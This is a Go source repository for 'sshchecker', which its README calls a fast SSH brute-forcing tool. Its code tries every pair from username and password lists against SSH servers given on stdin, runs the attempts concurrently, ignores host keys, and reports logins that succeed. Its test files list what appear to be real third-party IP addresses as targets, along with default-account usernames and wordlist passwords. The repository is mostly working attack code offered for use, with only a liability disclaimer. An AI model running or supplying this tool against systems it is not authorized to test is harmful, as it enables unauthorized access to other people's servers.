├── .gitignore ├── .travis.yml ├── .whitesource ├── LICENSE ├── README.md ├── Thanks.md ├── cmd └── sshchecker │ ├── banner.go │ └── main.go ├── go.mod ├── go.sum ├── sshchecker.go └── testfiles ├── ips.txt ├── testpass └── testuser /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | .*.swp 17 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | Language: Go 2 | -------------------------------------------------------------------------------- /.whitesource: -------------------------------------------------------------------------------- 1 | { 2 | "scanSettings": { 3 | "baseBranches": [] 4 | }, 5 | "checkRunSettings": { 6 | "vulnerableCheckRunConclusionLevel": "failure", 7 | "displayMode": "diff" 8 | }, 9 | "issueSettings": { 10 | "minSeverityLevel": "LOW" 11 | } 12 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Scorpion 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # sshchecker 2 | 3 | [![Build Status](https://travis-ci.com/lazytools/sshchecker.svg?token=S9wbQbp5C4dcPWszHpyt&branch=master)](https://travis-ci.com/lazytools/sshchecker) 4 | [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT) 5 | [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/lazytools/sshchecker/issues) 6 | 7 | sshchecker is a fast dedicated ssh brute-forcing tool to check ssh login on the giving IP list. 8 | 9 | # Installation Instruction 10 | ### From Command Line 11 | ```bash 12 | ▶ go get -u -v github.com/lazytools/sshchecker/cmd/sshchecker 13 | ``` 14 | ### From Github 15 | 16 | ```bash 17 | git clone https://github.com/lazytools/sshchecker.git 18 | cd sshchecker/cmd/sshchecker 19 | go build . 20 | mv sshchecker /usr/local/bin/ 21 | sshchecker -h 22 | ``` 23 | # Usage 24 | 25 | ```bash 26 | ▶ cat testfiles/ips.txt | sshchecker -U testfiles/testuser -P testfiles/testpass 27 | ``` 28 | # Flags 29 | ```bash 30 | sshchecker -h 31 | ``` 32 | # License 33 | See **[License](https://github.com/lazytools/sshchecker/blob/master/LICENSE)** 34 | 35 | # Creators 36 | sshchecker is made with :heart:  in India :india: . See **[Thanks.md](https://github.com/lazytools/sshchecker/blob/master/Thanks.md)** for more details. 37 | -------------------------------------------------------------------------------- /Thanks.md: -------------------------------------------------------------------------------- 1 | # Thanks 2 | 3 | I would like to thank: 4 | * @Ice3man543 - For the Inspiration and Idea. 5 | * @1lann - To help me with learn coding and improving the code alot. 6 | -------------------------------------------------------------------------------- /cmd/sshchecker/banner.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "github.com/projectdiscovery/gologger" 4 | 5 | const banner = ` 6 | __ __ __ 7 | __________/ /_ _____/ /_ ___ _____/ /_____ _____ 8 | / ___/ ___/ __ \/ ___/ __ \/ _ \/ ___/ //_/ _ \/ ___/ 9 | (__ |__ ) / / / /__/ / / / __/ /__/ ,< / __/ / 10 | /____/____/_/ /_/\___/_/ /_/\___/\___/_/|_|\___/_/v1.0 11 | ` 12 | const Version = `1.0` 13 | 14 | func showBanner() { 15 | gologger.Printf("%s\n", banner) 16 | gologger.Printf("\t\tCreated by lazytools.\n\n") 17 | 18 | gologger.Labelf("Use with caution. You are responsible for your actions\n") 19 | gologger.Labelf("Developers assume no liability and are not responsible for any misuse or damage.\n\n") 20 | } 21 | -------------------------------------------------------------------------------- /cmd/sshchecker/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "context" 6 | "flag" 7 | "io" 8 | "io/ioutil" 9 | "net" 10 | "os" 11 | "os/signal" 12 | "strings" 13 | "syscall" 14 | "time" 15 | 16 | "github.com/lazytools/sshchecker" 17 | "github.com/projectdiscovery/gologger" 18 | ) 19 | 20 | func main() { 21 | usernamesPath := flag.String("U", "", "Text file containing list of usernames to use") 22 | passwordsPath := flag.String("P", "", "Text file containing list of passwords to use") 23 | concurrencyLevel := flag.Int("c", 20, "set the concurrency level") 24 | timeout := flag.Duration("t", 5*time.Second, "Connection timeout") 25 | showVersion := flag.Bool("version", false, "Show current program version") 26 | //verbose := flag.Bool("v", false, "Show verbose output") 27 | flag.Parse() 28 | showBanner() 29 | gologger.MaxLevel = gologger.Debug 30 | 31 | if *showVersion { 32 | gologger.Infof("Current Version: %s\n", Version) 33 | os.Exit(0) 34 | } 35 | 36 | if *usernamesPath == "" || *passwordsPath == "" { 37 | gologger.Errorf("username file path and password file path must be specified") 38 | flag.Usage() 39 | return 40 | } 41 | 42 | var options sshchecker.BatchOptions 43 | var err error 44 | 45 | options.UserList, err = parseFile(*usernamesPath) 46 | if err != nil { 47 | gologger.Fatalf("could not parse username file: %v", err) 48 | } 49 | options.PasswordList, err = parseFile(*passwordsPath) 50 | if err != nil { 51 | gologger.Fatalf("could not parse password file: %v", err) 52 | } 53 | 54 | gologger.Infof("[+] Loaded %d usernames and %d passwords", len(options.UserList), len(options.PasswordList)) 55 | 56 | options.Timeout = *timeout 57 | options.Concurrency = *concurrencyLevel 58 | 59 | ctx := contextWithSignal(context.Background()) 60 | 61 | processFromStdin(ctx, &options) 62 | 63 | gologger.Infof("[+] EOF reached") 64 | } 65 | 66 | func processFromStdin(ctx context.Context, options *sshchecker.BatchOptions) { 67 | // We use a pipe so we can close stdin upon context completion 68 | rd, wr := io.Pipe() 69 | go func() { 70 | _, err := io.Copy(wr, os.Stdin) 71 | if err != nil { 72 | wr.CloseWithError(err) 73 | } else { 74 | wr.CloseWithError(io.EOF) 75 | } 76 | }() 77 | go func() { 78 | <-ctx.Done() 79 | wr.Close() 80 | rd.Close() 81 | }() 82 | 83 | scn := bufio.NewScanner(rd) 84 | for scn.Scan() { 85 | rawAddr := strings.TrimSpace(scn.Text()) 86 | if !strings.Contains(rawAddr, ":") { 87 | gologger.Infof("address is missing port, defaulting to port 22") 88 | rawAddr += ":22" 89 | } 90 | 91 | addr, err := net.ResolveTCPAddr("tcp", rawAddr) 92 | if err != nil { 93 | gologger.Errorf("[!] failed to parse address: %v", err) 94 | continue 95 | } 96 | 97 | gologger.Infof("[+] Now processing address: %s (resolved from %s)", addr.String(), rawAddr) 98 | output := make(chan *sshchecker.BatchResult) 99 | var batchError error 100 | 101 | go func() { 102 | batchError = sshchecker.BatchTrySSHLogin(ctx, addr, options, output) 103 | close(output) 104 | }() 105 | for out := range output { 106 | if out.Error != nil { 107 | gologger.Warningf("[!] Failed to login on %s with %s:%s, error: %v", 108 | addr.String(), out.Username, out.Password, out.Error) 109 | continue 110 | } 111 | 112 | gologger.Infof("[+] Successful login on %s with %s:%s", addr.String(), out.Username, out.Password) 113 | break 114 | 115 | } 116 | 117 | if batchError != nil { 118 | gologger.Warningf("[!] Error while batch logging in on %s: %v", addr.String(), batchError) 119 | } 120 | 121 | if ctx.Err() != nil { 122 | gologger.Fatalf("[!] quitting due to context error: %v", ctx.Err()) 123 | } 124 | } 125 | } 126 | 127 | func contextWithSignal(parent context.Context) context.Context { 128 | ctx, cancel := context.WithCancel(parent) 129 | 130 | c := make(chan os.Signal) 131 | signal.Notify(c, os.Interrupt, syscall.SIGTERM) 132 | go func() { 133 | <-c 134 | gologger.Infof("Ctrl+C received, gracefully cancelling...") 135 | cancel() 136 | }() 137 | 138 | return ctx 139 | } 140 | 141 | func parseFile(filename string) ([]string, error) { 142 | d, err := ioutil.ReadFile(filename) 143 | if err != nil { 144 | return nil, err 145 | } 146 | 147 | rows := strings.Split(string(d), "\n") 148 | i := 0 149 | for i < len(rows) { 150 | rows[i] = strings.TrimSpace(rows[i]) 151 | if rows[i] == "" { 152 | rows = append(rows[:i], rows[i+1:]...) 153 | continue 154 | } 155 | i++ 156 | } 157 | return rows, nil 158 | } 159 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/lazytools/sshchecker 2 | 3 | go 1.14 4 | 5 | require ( 6 | github.com/projectdiscovery/gologger v1.0.1 7 | golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de 8 | golang.org/x/sys v0.0.0-20200810151505-1b9f1253b3ed // indirect 9 | ) 10 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381 h1:bqDmpDG49ZRnB5PcgP0RXtQvnMSgIF14M7CBd2shtXs= 3 | github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4= 4 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 5 | github.com/projectdiscovery/gologger v1.0.1 h1:FzoYQZnxz9DCvSi/eg5A6+ET4CQ0CDUs27l6Exr8zMQ= 6 | github.com/projectdiscovery/gologger v1.0.1/go.mod h1:Ok+axMqK53bWNwDSU1nTNwITLYMXMdZtRc8/y1c7sWE= 7 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 8 | github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= 9 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 10 | golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de h1:ikNHVSjEfnvz6sxdSPCaPt572qowuyMDMJLLm3Db3ig= 11 | golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 12 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 13 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 14 | golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= 15 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 16 | golang.org/x/sys v0.0.0-20200803210538-64077c9b5642 h1:B6caxRw+hozq68X2MY7jEpZh/cr4/aHLv9xU8Kkadrw= 17 | golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 18 | golang.org/x/sys v0.0.0-20200810151505-1b9f1253b3ed h1:WBkVNH1zd9jg/dK4HCM4lNANnmd12EHC9z+LmcCG4ns= 19 | golang.org/x/sys v0.0.0-20200810151505-1b9f1253b3ed/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 20 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 21 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 22 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 23 | -------------------------------------------------------------------------------- /sshchecker.go: -------------------------------------------------------------------------------- 1 | package sshchecker 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "net" 7 | "time" 8 | 9 | "golang.org/x/crypto/ssh" 10 | ) 11 | 12 | type BatchOptions struct { 13 | UserList []string 14 | PasswordList []string 15 | Timeout time.Duration 16 | Concurrency int 17 | } 18 | 19 | type BatchResult struct { 20 | Username string 21 | Password string 22 | Error error 23 | } 24 | 25 | func BatchTrySSHLogin(ctx context.Context, addr *net.TCPAddr, opts *BatchOptions, output chan<- *BatchResult) error { 26 | if opts.Concurrency <= 0 { 27 | return errors.New("sshchecker: invalid concurrency value") 28 | } 29 | 30 | // I wouldn't typically do this, but for the sake of learning here's an 31 | // alternative pattern to the traditional producer-consumer worker pool. 32 | // This is a semaphore that limits the number of concurrent operations, and 33 | // behaves like a wait group at the same time. 34 | // Taken from: https://youtu.be/5zXAHh5tJqQ?t=1927 35 | sem := make(chan struct{}, opts.Concurrency) 36 | 37 | defer func() { 38 | // Wait for completion 39 | for i := 0; i < opts.Concurrency; i++ { 40 | sem <- struct{}{} 41 | } 42 | }() 43 | 44 | for _, username := range opts.UserList { 45 | for _, password := range opts.PasswordList { 46 | select { 47 | case <-ctx.Done(): 48 | return ctx.Err() 49 | case sem <- struct{}{}: 50 | } 51 | 52 | go func(username, password string) { 53 | subctx, cancel := context.WithTimeout(ctx, opts.Timeout) 54 | err := TrySSHLogin(subctx, addr, username, password) 55 | cancel() 56 | output <- &BatchResult{ 57 | Username: username, 58 | Password: password, 59 | Error: err, 60 | } 61 | <-sem 62 | }(username, password) 63 | } 64 | } 65 | 66 | return nil 67 | } 68 | 69 | func TrySSHLogin(ctx context.Context, addr *net.TCPAddr, user, pass string) error { 70 | sshConfig := &ssh.ClientConfig{ 71 | User: user, 72 | Auth: []ssh.AuthMethod{ssh.Password(pass)}, 73 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 74 | } 75 | 76 | var dialer net.Dialer 77 | conn, err := dialer.DialContext(ctx, "tcp", addr.String()) 78 | if err != nil { 79 | return err 80 | } 81 | defer conn.Close() 82 | 83 | client, _, _, err := ssh.NewClientConn(conn, addr.String(), sshConfig) 84 | if err == nil { 85 | client.Close() 86 | } 87 | return err 88 | } 89 | -------------------------------------------------------------------------------- /testfiles/ips.txt: -------------------------------------------------------------------------------- 1 | 199.255.137.34 2 | 103.133.222.202 3 | 82.146.26.2 4 | 94.236.218.254 5 | -------------------------------------------------------------------------------- /testfiles/testpass: -------------------------------------------------------------------------------- 1 | zygopophysis 2 | zyklop 3 | zymrgy 4 | zymurgist 5 | zypern 6 | zyxenhujul 7 | zzang 8 | zztopman 9 | zzyzyx 10 | -------------------------------------------------------------------------------- /testfiles/testuser: -------------------------------------------------------------------------------- 1 | weblogic 2 | webmaster 3 | whd 4 | wlcsystem 5 | wlpisystem 6 | wlse 7 | wradmin 8 | write 9 | www 10 | xmi_demo 11 | --------------------------------------------------------------------------------